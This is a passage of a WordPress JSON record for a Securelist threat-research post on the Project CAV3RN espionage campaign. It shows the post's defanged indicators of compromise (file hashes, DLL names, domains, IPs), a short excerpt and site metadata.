href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/f9156d42410c8a5429dec43329bd72e0\/results?icid=gl_sl_post-opentip_sm-team_414f4a328e31a5df&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">f9156d42410c8a5429dec43329bd72e0<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 net.dll<br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/2dcd4a8ac166404977cd3c48418a8cd9\/results?icid=gl_sl_post-opentip_sm-team_5fa43c090727682e&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">2dcd4a8ac166404977cd3c48418a8cd9<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 rnp.dll<br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/981c7404d31b8ce35ec88a6b290f354d\/results?icid=gl_sl_post-opentip_sm-team_28bb96e3ed893870&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">981c7404d31b8ce35ec88a6b290f354d\u00a0<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 GoogleService.dll<br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/34d50eec364d920b8b5d885c9bc98607\/results?icid=gl_sl_post-opentip_sm-team_0af4d399236c27ea&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">34d50eec364d920b8b5d885c9bc98607<\/a>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0texture.dll<\/p>\n<h5 id=\"domains-and-ips\">Domains and IPs<\/h5>\n<p><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/studiotikva.com\/results?icid=gl_sl_post-opentip_sm-team_c40e248c89115ab2&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">studiotikva[.]com<\/a><br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/api.studiotikva.com\/results?icid=gl_sl_post-opentip_sm-team_97df31546a430372&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">api.studiotikva[.]com<\/a><br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/ns1.studiotikva.com\/results?icid=gl_sl_post-opentip_sm-team_419defd80420333f&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">ns1.studiotikva[.]com<\/a><br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/ns2.studiotikva.com\/results?icid=gl_sl_post-opentip_sm-team_0bb46095a13ec0d0&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">ns2.studiotikva[.]com<\/a><br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/144.172.115.17\/results?icid=gl_sl_post-opentip_sm-team_12c63c70e27e4b40&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">144.172.115[.]17<\/a><br \/>\n<a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/144.172.104.82\/results?icid=gl_sl_post-opentip_sm-team_1d4e476f8bb054db&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">144.172.104[.]82<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Project CAV3RN targets Israel with Google Apps Script C2 relays and DNS-based routing. Modular .NET NativeAOT framework blends C2 traffic with legitimate Google services to evade detection.<\/p>\n","protected":false},"author":[312],"featured_media":121005,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[6061,1044],"tags":[32,33,37,123,926,6251,6252,101,30],"threat-category":[4298],"coauthors":[354],"class_list":["post-120991","post","type-post","status-publish","format-standard","has-post-thumbnail","category-great-research","category-malware-descriptions","tag-google","tag-microsoft","tag-microsoft-windows","tag-malware-descriptions","tag-https","tag-google-apps-script","tag-openpgp","tag-dns","tag-malware-technologies","threat-category-cybersecurity","securelist-post"],"acf":[],"banners":"","hreflang":[{"hreflang":"x-default","url":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/project-cav3rn-continues\/120991\/"}],"featured_image":"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/11062112\/project-CAV3RN-continues_2-scaled.jpg","_links":{"self":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts\/120991","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/users\/312"}],"replies":[{"embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/comments?post=120991"}],"version-history":[{"count":20,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts\/120991\/revisions"}],"predecessor-version":[{"id":121027,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/posts\/120991\/revisions\/121027"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/media\/121005"}],"wp:attachment":[{"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/media?parent=120991"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/categories?post=120991"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/tags?post=120991"},{"taxonomy":"threat-category","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/threat-category?post=120991"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/wp-json\/wp\/v2\/coauthors?post=120991"}],"curies":[{"name":"wp","href":"https:\/\/2.zoppoz.workers.dev:443\/https\/api.w.org\/{rel}","templated":true}]}}